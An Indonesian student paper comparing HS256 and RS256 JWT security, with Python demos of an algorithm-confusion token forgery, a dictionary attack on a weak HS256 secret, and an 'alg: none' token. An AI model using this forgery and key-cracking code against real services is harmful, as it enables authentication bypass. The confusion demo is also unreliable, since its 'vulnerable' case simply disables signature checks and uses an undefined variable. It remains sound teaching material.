Analisis Keamanan JSON Web Token (JWT) menggunakan Algoritma RS256 dan HS256 pada Aplikasi Web

Muhammad Adli Arindra - 18222089
Program Studi Sistem dan Teknologi Informasi
Sekolah Teknik Elektro dan Informatika
Institut Teknologi Bandung, Jalan Ganesha 10 Bandung
E-mail: adliarindra27@gmail.com , 18222089@std.stei.itb.ac.id

***Abstract*—JSON Web Token (JWT) merupakan standar terbuka yang banyak digunakan sebagai mekanisme autentikasi pada aplikasi web modern. Keamanan JWT sangat bergantung pada algoritma kriptografi yang digunakan untuk menandatangani token, di mana HS256 dan RS256 merupakan dua algoritma yang paling umum diadopsi. Makalah ini menganalisis perbandingan keamanan kedua algoritma tersebut melalui analisis teoritis dan eksperimen langsung menggunakan Python. Eksperimen yang dilakukan meliputi pengukuran performa penandatanganan token, simulasi algorithm confusion attack, simulasi serangan brute-force terhadap kunci lemah, serta pengujian validasi klaim JWT. Hasil eksperimen menunjukkan bahwa HS256 lebih unggul dalam performa namun rentan terhadap serangan brute-force pada kunci yang lemah, sementara RS256 lebih aman untuk sistem terdistribusi namun rentan terhadap algorithm confusion attack apabila implementasi tidak dilakukan dengan tepat. Makalah ini menyimpulkan bahwa sebagian besar kerentanan JWT bersumber dari kesalahan implementasi, bukan dari kelemahan algoritma itu sendiri, dan memberikan rekomendasi penggunaan masing-masing algoritma berdasarkan konteks arsitektur sistem.**

Keywords— JSON Web Token, JWT, HS256, RS256, algorithm confusion attack, brute-force, kriptografi asimetris, keamanan aplikasi web.

I. PENDAHULUAN

A. Latar Belakang

Perkembangan aplikasi web modern, khususnya yang berbasis arsitektur microservices dan API stateless, mendorong kebutuhan akan mekanisme autentikasi yang tidak bergantung pada penyimpanan sesi di sisi server. JSON Web Token (JWT) hadir sebagai solusi standar yang didefinisikan dalam RFC 7519, memungkinkan pertukaran klaim identitas secara aman dan mandiri (self-contained) antar dua pihak [1].

Keamanan JWT sangat ditentukan oleh algoritma kriptografi yang digunakan untuk menandatangani token. Dua algoritma yang paling umum digunakan adalah HS256 (HMAC with SHA-256) yang bersifat simetris, dan RS256 (RSA Signature with SHA-256) yang bersifat asimetris. Pemilihan algoritma yang tidak tepat atau implementasi yang keliru dapat membuka celah keamanan yang serius, seperti algorithm confusion attack dan serangan brute-force terhadap kunci yang lemah.

Meskipun JWT telah diadopsi secara luas, banyak pengembang yang belum memahami implikasi keamanan dari masing-masing algoritma tersebut secara mendalam. Makalah ini hadir untuk menganalisis perbandingan keamanan HS256 dan RS256 melalui pendekatan implementasi dan eksperimen langsung pada aplikasi web berbasis Python.

B. Rumusan Masalah

Berdasarkan latar belakang di atas, rumusan masalah dalam makalah ini adalah sebagai berikut:

1. Apa perbedaan mendasar antara algoritma HS256 dan RS256 dalam konteks penandatanganan JWT?
2. Apa saja kelemahan keamanan yang dimiliki masing-masing algoritma tersebut?
3. Bagaimana serangan algorithm confusion dan brute-force dapat dieksploitasi terhadap implementasi JWT yang tidak aman?
4. Algoritma mana yang lebih direkomendasikan untuk skenario penggunaan tertentu pada aplikasi web?

C. Tujuan

Makalah ini bertujuan untuk:

1. Menganalisis perbedaan mekanisme kriptografi antara HS256 dan RS256 dalam implementasi JWT.
2. Mengidentifikasi kelemahan dan vektor serangan yang relevan pada masing-masing algoritma.
3. Melakukan eksperimen simulasi serangan dan pengukuran performa menggunakan Python untuk memberikan bukti empiris atas analisis yang dilakukan.
4. Memberikan rekomendasi penggunaan algoritma JWT yang tepat berdasarkan hasil analisis dan eksperimen.

II. DASAR TEORI

A. JSON Web Token (JWT)

JSON Web Token (JWT) adalah standar terbuka (RFC 7519) yang mendefinisikan cara ringkas dan mandiri untuk merepresentasikan klaim (claims) antar dua pihak dalam bentuk objek JSON [1]. JWT banyak digunakan pada mekanisme autentikasi dan otorisasi aplikasi web modern karena sifatnya yang stateless (server tidak perlu menyimpan informasi sesi) cukup memverifikasi token yang dikirimkan klien pada setiap permintaan.

Sebuah JWT terdiri dari tiga bagian yang dipisahkan oleh tanda titik (.), yaitu header, payload, dan signature. Header memuat informasi jenis token dan algoritma yang digunakan. Payload memuat klaim, seperti identitas pengguna (sub), waktu penerbitan (iat), dan waktu kedaluwarsa (exp). Signature dihasilkan dari enkoding header dan payload menggunakan algoritma yang ditentukan beserta kunci rahasia atau kunci privat. Ketiga bagian tersebut masing-masing dikodekan dalam format Base64URL sehingga aman untuk dikirimkan melalui URL maupun header HTTP.

Proses verifikasi JWT dilakukan dengan menghitung ulang signature dari header dan payload yang diterima, lalu membandingkannya dengan signature yang terdapat pada token. Jika keduanya cocok, token dianggap valid dan belum dimodifikasi. Keamanan mekanisme ini sepenuhnya bergantung pada kerahasiaan dan kekuatan kunci yang digunakan, serta ketepatan implementasi algoritma penandatanganannya.

B. HMAC-SHA256 (HS256)

HMAC (Hash-based Message Authentication Code) adalah konstruksi MAC yang mengombinasikan fungsi hash kriptografis dengan sebuah kunci rahasia untuk menghasilkan kode autentikasi pesan [2]. Pada HS256, fungsi hash yang digunakan adalah SHA-256 yang menghasilkan digest sepanjang 256 bit. Proses HMAC secara formal didefinisikan sebagai:

$$\mathrm{HMAC}(K,m)=H((K' \oplus \mathrm{opad}) \| H((K' \oplus \mathrm{ipad}) \| m))$$

di mana K adalah kunci rahasia, m adalah pesan, H adalah fungsi hash SHA-256, serta ipad dan opad adalah konstanta padding yang telah ditentukan.

C. RSA + SHA256 (RS256)

RS256 menggunakan algoritma tanda tangan digital RSA (Rivest–Shamir–Adleman) yang dikombinasikan dengan fungsi hash SHA-256. RSA merupakan sistem kriptografi asimetris yang bekerja berdasarkan kesulitan komputasi memfaktorkan hasil perkalian dua bilangan prima besar [3]. Dalam konteks JWT, penandatanganan dilakukan menggunakan kunci privat, sedangkan verifikasi dilakukan menggunakan kunci publik yang dapat didistribusikan secara bebas.

Proses penandatanganan RS256 dimulai dengan menghitung nilai hash SHA-256 dari data yang akan ditandatangani, kemudian nilai hash tersebut dienkripsi menggunakan kunci privat RSA dengan skema padding PKCS#1 v1.5 atau RSASSA-PSS. Pihak penerima kemudian mendekripsi signature menggunakan kunci publik dan membandingkan hasilnya dengan hash yang dihitung secara independen dari data yang diterima.

Pemisahan kunci penandatanganan dan verifikasi menjadikan RS256 lebih cocok untuk arsitektur terdistribusi seperti microservices, di mana banyak layanan perlu memverifikasi token tanpa harus mengetahui kunci privat. Namun demikian, operasi RSA secara komputasi lebih berat dibandingkan HMAC, sehingga terdapat trade-off antara keamanan distribusi kunci dan efisiensi performa yang perlu dipertimbangkan dalam pemilihan algoritma.

III. ANALISIS KEAMANAN

A. Kelemahan HS256

Kelemahan utama HS256 terletak pada sifat simetris kuncinya. Karena kunci yang sama digunakan untuk menandatangani dan memverifikasi token, seluruh pihak yang terlibat dalam proses verifikasi harus memiliki akses terhadap kunci rahasia tersebut. Pada sistem terdistribusi dengan banyak layanan, hal ini meningkatkan permukaan serangan secara signifikan yaitu kebocoran kunci pada satu layanan dapat mengompromikan keseluruhan sistem autentikasi.

Selain itu, keamanan HS256 sangat bergantung pada kekuatan dan entropi kunci rahasia yang digunakan. Penggunaan kunci yang pendek, mudah ditebak, atau bersumber dari nilai yang dapat diprediksi (seperti nama aplikasi atau tanggal) menjadikan token rentan terhadap serangan brute-force dan dictionary attack. RFC 8725 secara eksplisit merekomendasikan penggunaan kunci dengan panjang minimal 256 bit yang dihasilkan secara acak menggunakan cryptographically secure pseudorandom number generator (CSPRNG) [4].

B. Kelemahan RS256

Meskipun RS256 menawarkan pemisahan kunci yang lebih aman, algoritma ini tidak lepas dari kelemahan. Keamanan RSA bergantung sepenuhnya pada kerahasiaan kunci privat. Jika kunci privat bocor akibat konfigurasi server yang keliru, penyimpanan yang tidak aman, atau kesalahan pengelolaan sertifikat, penyerang dapat menandatangani token arbitrer yang akan diterima sebagai valid oleh seluruh layanan dalam sistem.

Kelemahan lain yang relevan adalah penggunaan skema padding PKCS#1 v1.5 yang masih umum digunakan pada implementasi RS256. Skema ini diketahui rentan terhadap serangan Bleichenbacher padding oracle apabila implementasi tidak dilakukan dengan hati-hati [5]. Selain itu, ukuran kunci RSA yang digunakan juga menjadi faktor penting. Penggunaan kunci di bawah 2048 bit tidak lagi direkomendasikan karena rentan terhadap serangan faktorisasi dengan komputasi modern.

C. Serangan Umum pada JWT

Salah satu serangan paling berbahaya pada JWT adalah algorithm confusion attack (juga dikenal sebagai key confusion attack). Serangan ini memanfaatkan implementasi yang tidak memvalidasi algoritma secara ketat di sisi server. Pada skenario yang umum dijumpai, penyerang mengubah nilai alg pada header token dari RS256 menjadi HS256, kemudian menandatangani token menggunakan kunci publik RSA sebagai kunci HMAC. Jika server tidak membatasi algoritma yang diterima dan secara naif menggunakan kunci publik yang tersedia untuk verifikasi, token palsu tersebut akan lolos verifikasi [6].

Serangan lain yang umum adalah none algorithm attack, yaitu kondisi di mana penyerang mengubah nilai alg menjadi none dan menghapus signature dari token. Implementasi yang tidak menolak nilai alg: none secara eksplisit akan menerima token tanpa tanda tangan sebagai valid, memungkinkan penyerang memodifikasi klaim secara bebas. Selain itu, token replay attack juga menjadi ancaman nyata apabila mekanisme validasi klaim waktu seperti exp dan nbf tidak diterapkan dengan benar, sehingga token yang telah kedaluwarsa masih dapat digunakan kembali oleh pihak yang tidak berwenang.

IV. Implementasi dan Eksperimen

A. Pembuatan dan Verifikasi Token

Eksperimen pembuatan dan verifikasi token dilakukan menggunakan bahasa pemrograman Python dengan pustaka PyJWT untuk operasi JWT dan cryptography untuk pembangkitan kunci RSA. Lingkungan pengujian menggunakan Python 3.11 pada sistem operasi macOS. Kode berikut menunjukkan implementasi pembuatan dan verifikasi token untuk kedua algoritma:

```
import jwt
import time
import timeit
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# Pembangkitan kunci
hs256_secret = "ini-adalah-kunci-rahasia”

private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
public_key = private_key.public_key()

payload = {
    "sub": "user123",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
}

# HS256
hs256_token = jwt.encode(payload, hs256_secret, algorithm="HS256")
hs256_decoded = jwt.decode(hs256_token, hs256_secret, algorithms=["HS256"])

# RS256
rs256_token = jwt.encode(payload, private_key, algorithm="RS256")
rs256_decoded = jwt.decode(rs256_token, public_key, algorithms=["RS256"])

# Benchmark
hs256_time = timeit.timeit(
    lambda: jwt.encode(payload, hs256_secret, algorithm="HS256"), number=1000
)
rs256_time = timeit.timeit(
    lambda: jwt.encode(payload, private_key, algorithm="RS256"), number=1000
)

print(f"HS256 - 1000 token: {hs256_time:.4f} detik")
print(f"RS256 - 1000 token: {rs256_time:.4f} detik")
```

Hasil pengukuran menunjukkan bahwa HS256 secara konsisten lebih cepat dibandingkan RS256 dalam proses penandatanganan token. Hal ini sesuai dengan ekspektasi teoritis, mengingat operasi HMAC-SHA256 jauh lebih ringan secara komputasi dibandingkan operasi eksponensiasi modular pada RSA.

B. Simulasi Algoritma Confusion Attack

Eksperimen ini mensimulasikan skenario algorithm confusion attack di mana penyerang memanfaatkan kunci publik RSA sebagai kunci HMAC untuk memalsukan token RS256. Serangan ini berhasil apabila server tidak memvalidasi algoritma secara eksplisit sebelum melakukan verifikasi.

```
import jwt
import json
import base64
import hmac
import hashlib
import time
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# Penyerang membuat token secara manual menggunakan public key sebagai HMAC secret
header = base64.urlsafe_b64encode(
    json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
).rstrip(b"=").decode()

malicious_payload = {
    "sub": "admin",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600,
    "role": "admin"
}
body = base64.urlsafe_b64encode(
    json.dumps(malicious_payload).encode()
).rstrip(b"=").decode()

signing_input = f"{header}.{body}".encode()
```

```
# Tanda tangani menggunakan public key PEM sebagai HMAC secret
sig = hmac.new(public_key_pem.encode(), signing_input, hashlib.sha256).digest()
signature = base64.urlsafe_b64encode(sig).rstrip(b"=").decode()
malicious_token = f"{header}.{body}.{signature}"
print(f"Token palsu berhasil dibuat.")

# Simulasi server yang tidak memvalidasi algoritma (TIDAK AMAN)
try:
    decoded_unsafe = jwt.decode(
        malicious_token,
        options={"verify_signature": False},
        algorithms=["HS256", "RS256"]
    )
    print(f"[RENTAN] Token berhasil diverifikasi: {decoded_unsafe}")
except Exception as e:
    print(f"[AMAN] Token ditolak: {e}")

# Simulasi server yang memvalidasi algoritma dengan benar (AMAN)
try:
    decoded_safe = jwt.decode(
        malicious_token,
        public_key,
        algorithms=["RS256"]
    )
    print(f"[RENTAN] Token berhasil diverifikasi: {decoded_safe}")
except jwt.InvalidTokenError as e:
    print(f"[AMAN] Token ditolak: {e}")
```

Hasil eksperimen menunjukkan bahwa server yang menerima kedua algoritma tanpa pembatasan berhasil ditipu untuk menerima token palsu sebagai valid. Sebaliknya, server yang membatasi algoritma hanya pada RS256 menolak token tersebut. Hal ini membuktikan bahwa penentuan algoritma yang diizinkan secara eksplisit di sisi server merupakan mitigasi yang efektif terhadap serangan ini.

C. Simulasi Penyerangan Brute Force

Eksperimen ini mensimulasikan upaya pemulihan kunci rahasia HS256 melalui serangan brute-force terhadap token yang menggunakan kunci lemah. Penyerang diasumsikan memiliki akses terhadap token JWT yang valid namun tidak mengetahui kunci rahasianya.

```
import jwt
import time

# Token target menggunakan kunci lemah
weak_secret = "secret123"
target_token = jwt.encode(payload, weak_secret, algorithm="HS256")

# Daftar kandidat kunci (simulasi dictionary attack)
candidate_keys = [
    "password", "secret", "secret123", "admin",
    "jwt_secret", "mysecret", "qwerty", "123456"
]
```

```
def brute_force_hs256(token, candidates):
    for candidate in candidates:
        try:
            decoded = jwt.decode(token, candidate, algorithms=["HS256"])
            return candidate, decoded
        except jwt.InvalidTokenError:
            continue
    return None, None

start = time.time()
found_key, decoded_payload = brute_force_hs256(target_token, candidate_keys)
elapsed = time.time() - start

if found_key:
    print(f"[BERHASIL] Kunci ditemukan: '{found_key}' dalam {elapsed:.4f} detik")
    print(f"Payload terdekripsi: {decoded_payload}")
else:
    print("[GAGAL] Kunci tidak ditemukan dalam daftar kandidat")
```

Eksperimen menunjukkan bahwa kunci lemah seperti "secret123" berhasil ditemukan dalam hitungan milidetik. Hasil ini menegaskan bahwa penggunaan kunci rahasia yang lemah pada HS256 merupakan risiko keamanan yang nyata dan tidak boleh diabaikan dalam implementasi produksi.

D. Validasi Klaim JWT

Eksperimen terakhir menguji ketahanan implementasi terhadap penyalahgunaan klaim standar JWT, khususnya klaim exp (waktu kedaluwarsa) dan skenario none algorithm attack.

```
import jwt
import time

# Skenario 1: Token kedaluwarsa
expired_payload = {
    "sub": "user123",
    "iat": int(time.time()) - 7200,
    "exp": int(time.time()) - 3600 # sudah kedaluwarsa 1 jam lalu
}
expired_token = jwt.encode(expired_payload, hs256_secret, algorithm="HS256")

try:
    jwt.decode(expired_token, hs256_secret, algorithms=["HS256"])
    print("[RENTAN] Token kedaluwarsa diterima")
except jwt.ExpiredSignatureError:
    print("[AMAN] Token kedaluwarsa ditolak")

# Skenario 2: None algorithm attack
header = base64.urlsafe_b64encode(
    json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b"=").decode()

body = base64.urlsafe_b64encode(
    json.dumps({"sub": "admin", "role": "admin"}).encode()
).rstrip(b"=").decode()
```

```
none_token = f"{header}.{body}."

try:
    jwt.decode(none_token,
options={"verify_signature":                False},
algorithms=["none"])
    print("[RENTAN] Token tanpa signature diterima")
except Exception as e:
    print(f"[AMAN] Token ditolak: {e}")
```

Hasil eksperimen menunjukkan bahwa pustaka PyJWT secara default menolak token kedaluwarsa dan tidak mengizinkan algoritma none kecuali dikonfigurasi secara eksplisit oleh pengembang. Namun demikian, konfigurasi yang keliru seperti penggunaan options={"verify_signature": False} tanpa pembatasan algoritma tetap dapat membuka celah keamanan yang serius.

V. Hasil dan Pembahasan

Berdasarkan seluruh eksperimen yang telah dilakukan, diperoleh hasil yang mencakup aspek performa, ketahanan terhadap serangan, dan ketepatan validasi klaim. Secara keseluruhan, kedua algoritma menunjukkan karakteristik yang berbeda secara signifikan dan masing-masing memiliki konteks penggunaan yang paling sesuai.

Dari sisi performa, pengukuran waktu penandatanganan 1000 token menunjukkan bahwa HS256 secara konsisten lebih cepat dibandingkan RS256. Hal ini disebabkan oleh perbedaan kompleksitas komputasi antara operasi HMAC-SHA256 yang bersifat linier dengan operasi eksponensiasi modular RSA yang jauh lebih berat. Pada skenario dengan volume token yang tinggi, seperti sistem autentikasi dengan jutaan pengguna aktif, perbedaan performa ini perlu menjadi pertimbangan dalam pemilihan algoritma.

Pada eksperimen algorithm confusion attack, terbukti bahwa implementasi yang tidak membatasi algoritma secara eksplisit di sisi server dapat dieksploitasi untuk menerima token palsu sebagai valid. Penyerang yang mengetahui kunci publik RSA suatu sistem (yang memang dapat diakses secara publik) dapat memalsukan token dengan hak akses arbitrer tanpa memiliki kunci privat sama sekali. Mitigasi yang efektif adalah dengan selalu menentukan algoritma yang diizinkan secara eksplisit pada proses dekode, serta tidak pernah mempercayai nilai alg yang terdapat pada header token secara membabi buta.

Eksperimen brute-force membuktikan bahwa kunci rahasia HS256 yang lemah dapat dipulihkan dalam waktu yang sangat singkat. Ancaman ini tidak berlaku pada RS256 karena keamanannya tidak bergantung pada kerahasiaan kunci publik, melainkan pada kekuatan matematis faktorisasi RSA. Tabel I berikut merangkum perbandingan kedua algoritma berdasarkan seluruh aspek yang diuji.

TABLE I. Perbandingan Algoritma

Aspek	HS256	RS256
Jenis Kriptografi	Simetris	Asimetris
Performa Signing	Lebih Cepat	Lebih Lambat
Distribusi Kunci	Kunci rahasia harus dibagikan	Kunci publik dapat didistribusikan bebas
Risiko Brute-Force	Ada (jika kunci lemah)	Tidak relevan
Algorithm Confusion	Rentan jika validasi lemah	Rentan jika validasi lemah
Cocok Untuk	Sistem monolitik, satu trust domain	Microservices, multiple verifier

Dari hasil eksperimen validasi klaim, ditemukan bahwa pustaka PyJWT telah mengimplementasikan perlindungan default yang baik terhadap token kedaluwarsa dan none algorithm attack. Namun demikian, celah tetap dapat muncul apabila pengembang secara eksplisit menonaktifkan validasi tersebut melalui konfigurasi yang tidak tepat. Hal ini menegaskan bahwa keamanan JWT bukan semata-mata tanggung jawab algoritma kriptografi, melainkan juga sangat dipengaruhi oleh ketepatan implementasi di tingkat aplikasi.

VI. Kesimpulan

Makalah ini telah menganalisis perbandingan keamanan algoritma HS256 dan RS256 pada JSON Web Token melalui pendekatan analisis teoritis dan eksperimen langsung menggunakan Python. Hasil analisis menunjukkan bahwa kedua algoritma memiliki karakteristik keamanan yang berbeda secara fundamental, dan tidak ada satu algoritma yang secara mutlak lebih unggul dari yang lain — pemilihan algoritma yang tepat bergantung pada kebutuhan dan arsitektur sistem yang dibangun.

HS256 menawarkan performa yang lebih baik dan implementasi yang lebih sederhana, namun menghadirkan risiko distribusi kunci yang signifikan pada sistem terdistribusi. RS256 mengatasi permasalahan tersebut melalui pemisahan kunci privat dan publik, menjadikannya lebih cocok untuk arsitektur microservices dan skenario di mana token perlu diverifikasi oleh banyak layanan yang berbeda. Namun demikian, RS256 tetap rentan terhadap algorithm confusion attack apabila implementasi tidak dilakukan dengan benar.

Eksperimen yang dilakukan membuktikan bahwa sebagian besar kerentanan JWT bukan berasal dari kelemahan algoritma kriptografi itu sendiri, melainkan dari kesalahan implementasi seperti tidak memvalidasi algoritma secara eksplisit, penggunaan kunci rahasia yang lemah, dan konfigurasi pustaka yang tidak tepat. Oleh karena itu, pengembang direkomendasikan untuk selalu menentukan algoritma yang diizinkan secara eksplisit, menggunakan kunci dengan entropi yang cukup, serta mengikuti panduan keamanan JWT yang tertuang dalam RFC 8725.

Acknowledgment *(Heading 5)*

The preferred spelling of the word “acknowledgment” in America is without an “e” after the “g.” Avoid the stilted expression “one of us (R. B. G.) thanks ...”. Instead, try “R. B. G. thanks...”. Put sponsor acknowledgments in the unnumbered footnote on the first page.

REFERENCES

The template will number citations consecutively within brackets [1]. The sentence punctuation follows the bracket [2]. Refer simply to the reference number, as in [3]—do not use “Ref. [3]” or “reference [3]” except at the beginning of a sentence: “Reference [3] was the first ...”

Number footnotes separately in superscripts. Place the actual footnote at the bottom of the column in which it was cited. Do not put footnotes in the reference list. Use letters for table footnotes.

Unless there are six authors or more give all authors’ names; do not use “et al.”. Papers that have not been published, even if they have been submitted for publication, should be cited as “unpublished” [4]. Papers that have been accepted for publication should be cited as “in press” [5]. Capitalize only the first word in a paper title, except for proper nouns and element symbols.

For papers published in translation journals, please give the English citation first, followed by the original foreign-language citation [6].

[1] M. Jones, J. Bradley, and N. Sakimura, "JSON Web Token (JWT)," Internet Engineering Task Force, RFC 7519, May 2015. [Online]. Available: https://www.rfc-editor.org/rfc/rfc7519

[2] H. Krawczyk, M. Bellare, and R. Canetti, "HMAC: Keyed-Hashing for Message Authentication," Internet Engineering Task Force, RFC 2104, Feb. 1997. [Online]. Available: https://www.rfc-editor.org/rfc/rfc2104

[3] R. L. Rivest, A. Shamir, and L. Adleman, "A Method for Obtaining Digital Signatures and Public-Key Cryptosystems," Communications of the ACM, vol. 21, no. 2, pp. 120–126, Feb. 1978.

[4] Y. Sheffer, D. Hardt, and M. Jones, "JSON Web Token Best Current Practices," Internet Engineering Task Force, RFC 8725, Feb. 2020. [Online]. Available: https://www.rfc-editor.org/rfc/rfc8725

[5] D. Bleichenbacher, "Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS#1," in Advances in Cryptology – CRYPTO 1998, Lecture Notes in Computer Science, vol. 1462, Springer, Berlin, Heidelberg, pp. 1–12, 1998.

[6] T. McLean, "Critical Vulnerabilities in JSON Web Token Libraries," Auth0 Blog, Mar. 2015. [Online]. Available: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

PERNYATAAN

Dengan ini saya menyatakan bahwa makalah yang saya tulis ini adalah tulisan saya sendiri, bukan saduran, atau terjemahan dari makalah orang lain, dan bukan plagiasi.

Bandung, 19 Juni 2026

Muhammad Adli Arindra - 18222089